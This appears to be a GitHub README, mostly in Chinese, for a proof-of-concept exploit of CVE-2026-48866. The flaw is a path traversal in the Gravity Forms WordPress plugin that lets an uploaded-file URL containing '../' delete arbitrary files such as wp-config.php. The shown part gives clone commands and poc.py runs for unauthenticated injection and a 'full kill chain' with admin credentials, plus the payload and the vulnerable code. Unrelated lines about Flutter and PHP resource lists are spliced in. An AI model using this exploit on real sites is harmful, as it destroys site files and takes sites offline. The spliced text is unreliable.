---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘

<h3 align="center">
  <code>gform_uploaded_files</code> 在 URL 中接受 <code>../</code>。管理员的删除点击会触发任意文件删除。
</h3>

<p align="center">
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
  <a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
  <a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">Patched Commit</a> •
  <a href="https://github.com/codewurker/gravityforms">Source Mirror</a>
</p>

---

## 目录

<table>
<tr>
<td width="50%">

**利用**
- [快速开始](#quick-start)
- [工作原理](#how-it-works)
- [影响](#impact)
- [使用](#usage)

</td>
<td width="50%">

**防御**
- [技术深入](#technical-deep-dive)
- [检测](#detection)
- [修复](#remediation)
- [参考](#references)

</td>
</tr>
</table>

---

## 快速开始```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘

• GitHub 所有最佳的Flutter资源、文章、视频和组件的集合列表。 #flutter #dart
• GitHub PHP库、资源和闪亮事物的精选列表。 #php```bash git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests

Inject only (unauthenticated — file dies when admin cleans entries)

python3 poc.py -t https://test.com -f 1 -i 3

Full kill chain (admin creds provided — immediate deletion)

python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

---

## 工作原理

### 攻击流程```
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

根本原因（3 行 PHP）```php

// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php

No check exists between `str_replace()` 和 `unlink()`。漏洞就藏在这个间隙中。

---

## 影响